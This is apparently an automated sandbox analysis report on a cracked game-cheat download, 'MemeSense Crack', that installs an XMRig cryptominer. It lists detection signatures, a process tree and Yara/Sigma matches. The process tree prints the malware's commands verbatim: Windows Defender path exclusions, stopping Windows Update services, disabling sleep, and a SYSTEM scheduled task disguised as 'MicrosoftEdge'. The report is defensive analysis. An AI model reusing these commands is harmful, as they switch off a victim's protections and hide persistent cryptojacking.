Edit tour

Windows Analysis Report
https://oxy.st/d/SmUh

Overview

General Information

Sample URL:	https://oxy.st/d/SmUh
Analysis ID:	1457783
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Stop multiple services

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Xmrig cryptocurrency miner

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Blob-based file download detected

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates files in the system32 config directory

Downloads suspicious files via Chrome

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Protects its processes via BreakOnTermination flag

Queries Google from non browser process on port 80

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Stops critical windows services

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to open files direct via NTFS file id

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oxy.st/d/SmUh MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1956,i,7229369661318160334,7331768644363518668,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 6856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7468 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 7504 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 7552 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7688 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7796 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 6500 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7884 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

rundll32.exe (PID: 7404 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

MemeSense Crack.exe (PID: 432 cmdline: "C:\Users\user\Desktop\meme crack\MemeSense Crack.exe" MD5: 8C7DC697B3BE09F1D66A29A31A8C6C46)

cli_gui.exe (PID: 532 cmdline: "C:\Users\user\AppData\Local\Temp\cli_gui.exe" MD5: 82EE19ED134912BE0FE2000CAF6421C5)

conhost.exe (PID: 3364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

updater.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\Temp\updater.exe" MD5: 8CD62E3ECE85C4C3E9F6F7C816256ADF)

dialer.exe (PID: 2092 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 584 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 664 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 5928 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4516 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SystemSettings.exe (PID: 4512 cmdline: "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel MD5: 3CD3CD85226FCF576DFE9B70B6DA2630)

svchost.exe (PID: 972 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 380 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 728 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 460 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1068 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1076 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1136 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

updater.exe (PID: 7252 cmdline: "C:\Program Files\Microsoft\Edge\updater.exe" MD5: 8CD62E3ECE85C4C3E9F6F7C816256ADF)

dialer.exe (PID: 3432 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 1352 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1452 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1512 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1520 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1528 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1676 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1756 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1780 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1800 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1808 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1964 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2004 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1384 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dialer.exe (PID: 6360 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 3320 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 1204 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1260 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 5476 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1176 cmdline: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4008 cmdline: sc stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 3720 cmdline: sc stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 4112 cmdline: sc stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 1752 cmdline: sc stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 3224 cmdline: sc stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1916 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2348 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 2280 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 3640 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 3568 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 2132 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 8164 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

VSSVC.exe (PID: 8104 cmdline: C:\Windows\system32\vssvc.exe MD5: 875046AD4755396636A68F4A9EDB22A4)

svchost.exe (PID: 4112 cmdline: C:\Windows\System32\svchost.exe -k swprv MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 2576 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6884 cmdline: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7756 cmdline: sc stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 3356 cmdline: sc stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 6760 cmdline: sc stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 5756 cmdline: sc stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7328 cmdline: sc stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6584 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3364 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 6064 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 3752 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 5888 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 5248 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MemeSense Crack.exe (PID: 3812 cmdline: "C:\Users\user\Desktop\meme crack\MemeSense Crack.exe" MD5: 8C7DC697B3BE09F1D66A29A31A8C6C46)

cli_gui.exe (PID: 7260 cmdline: "C:\Users\user\AppData\Local\Temp\cli_gui.exe" MD5: 82EE19ED134912BE0FE2000CAF6421C5)

conhost.exe (PID: 3184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

updater.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Local\Temp\updater.exe" MD5: 8CD62E3ECE85C4C3E9F6F7C816256ADF)

dialer.exe (PID: 1796 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 1300 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1368 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2112 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2168 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

spoolsv.exe (PID: 2284 cmdline: C:\Windows\System32\spoolsv.exe MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F)

powershell.exe (PID: 1172 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4348 cmdline: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7780 cmdline: sc stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 6916 cmdline: sc stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 4244 cmdline: sc stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 6620 cmdline: sc stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 1288 cmdline: sc stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6780 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7760 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7028 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 4428 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 448 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 1976 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1000 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4036 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ztwihm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\jkiahanfoyhg.tmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Windows\Temp\jkiahanfoyhg.tmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4cb268:$a1: mining.set_target 0x4c6a48:$a2: XMRIG_HOSTNAME 0x4c8540:$a3: Usage: xmrig [OPTIONS] 0x4c6a20:$a4: XMRIG_VERSION
C:\Windows\Temp\jkiahanfoyhg.tmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4d1241:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
C:\Windows\Temp\jkiahanfoyhg.tmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4d17a0:$s1: %s/%s (Windows NT %lu.%lu 0x4d1fc8:$s3: \\.\WinRing0_ 0x4ca4c8:$s4: pool_wallet 0x4c62d0:$s5: cryptonight 0x4c62e0:$s5: cryptonight 0x4c62f0:$s5: cryptonight 0x4c6300:$s5: cryptonight 0x4c6318:$s5: cryptonight 0x4c6328:$s5: cryptonight 0x4c6338:$s5: cryptonight 0x4c6350:$s5: cryptonight 0x4c6360:$s5: cryptonight 0x4c6378:$s5: cryptonight 0x4c6390:$s5: cryptonight 0x4c63a0:$s5: cryptonight 0x4c63b0:$s5: cryptonight 0x4c63c0:$s5: cryptonight 0x4c63d8:$s5: cryptonight 0x4c63f0:$s5: cryptonight 0x4c6400:$s5: cryptonight 0x4c6410:$s5: cryptonight

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, CommandLine: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, ProcessId: 1176, ProcessName: cmd.exe

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }, CommandLine|base64offset|contains: [, Image: 